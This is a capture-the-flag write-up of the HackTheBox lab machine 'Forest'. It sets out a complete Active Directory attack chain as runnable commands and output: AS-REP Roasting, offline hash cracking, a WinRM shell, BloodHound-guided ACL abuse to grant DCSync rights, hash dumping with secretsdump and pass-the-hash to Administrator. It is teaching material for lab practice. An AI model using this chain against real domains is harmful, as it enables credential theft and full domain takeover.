HTB: Forest — Active Directory Exploitation via AS-REP Roasting

Forest is a Windows Active Directory machine on HackTheBox rated Easy. It's a great introduction to AD attack paths — the foothold comes via AS-REP Roasting, and privilege escalation abuses WriteDacl permissions to DCSync and dump all hashes.

Enumeration

Start with an Nmap scan to get a picture of the attack surface:

bashnmap -sC -sV -oA forest 10.10.10.161

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds Windows Server 2016 Standard
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)

Kerberos (88), LDAP (389), and WinRM (5985) are all open — this is a domain controller. Let's enumerate users via LDAP without credentials:

bashldapsearch -x -H ldap://10.10.10.161 \
  -b "DC=htb,DC=local" \
  "(objectClass=user)" sAMAccountName \
  | grep sAMAccountName | awk '{print $2}'

This returns a list of domain user accounts. Notable ones:

Administrator
Guest
DefaultAccount
svc-alfresco
sebastien
lucinda
andy
mark
santi

AS-REP Roasting

AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled. When pre-auth is off, the DC will respond to an AS-REQ with an AS-REP containing a portion of data encrypted with the user's password hash — which we can crack offline.

Use impacket-GetNPUsers to check for vulnerable accounts:

bashimpacket-GetNPUsers htb.local/ \
  -usersfile users.txt \
  -no-pass \
  -dc-ip 10.10.10.161

We get a hit on svc-alfresco:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:8f4c2e1a...<truncated>

Crack it with Hashcat:

bashhashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt

Password cracks in seconds: s3rvice

Foothold via WinRM

WinRM is open on port 5985. Use evil-winrm to get a shell:

bashevil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Grab user.txt:

powershellcat C:\Users\svc-alfresco\Desktop\user.txt

Privilege Escalation — BloodHound

Upload and run SharpHound to collect AD data for BloodHound analysis:

powershell# Upload
upload SharpHound.exe

# Collect
.\SharpHound.exe -c All --zipfilename forest_bh.zip

# Download
download forest_bh.zip

Import into BloodHound and run "Shortest Path to Domain Admins" from svc-alfresco. The path is:

svc-alfresco → (MemberOf) → Account Operators → (WriteDacl) → HTB.LOCAL → DCSync

Step 1: Add ourselves to Exchange Windows Permissions

svc-alfresco is in the Account Operators group, which can add members to most groups. The Exchange Windows Permissions group has WriteDacl on the domain.

powershellnet group "Exchange Windows Permissions" svc-alfresco /add /domain

Step 2: Grant DCSync rights

Use PowerView to add DCSync (DS-Replication-Get-Changes-All) rights to our account:

powershell$pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\svc-alfresco', $pass)

Add-DomainObjectAcl -Credential $cred \
  -TargetIdentity "DC=htb,DC=local" \
  -PrincipalIdentity svc-alfresco \
  -Rights DCSync

Step 3: DCSync and dump hashes

bashimpacket-secretsdump htb.local/svc-alfresco:s3rvice@10.10.10.161

Administrator:500:aad3b...:[HASH]:::

Pass the hash to get a shell as Administrator:

bashevil-winrm -i 10.10.10.161 -u Administrator -H [HASH]

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Summary

Forest is a solid beginner AD box that covers two very common real-world attack paths: weak Kerberos configuration (AS-REP Roasting) and abusing ACL misconfigurations. BloodHound continues to be the fastest way to surface these privilege escalation paths.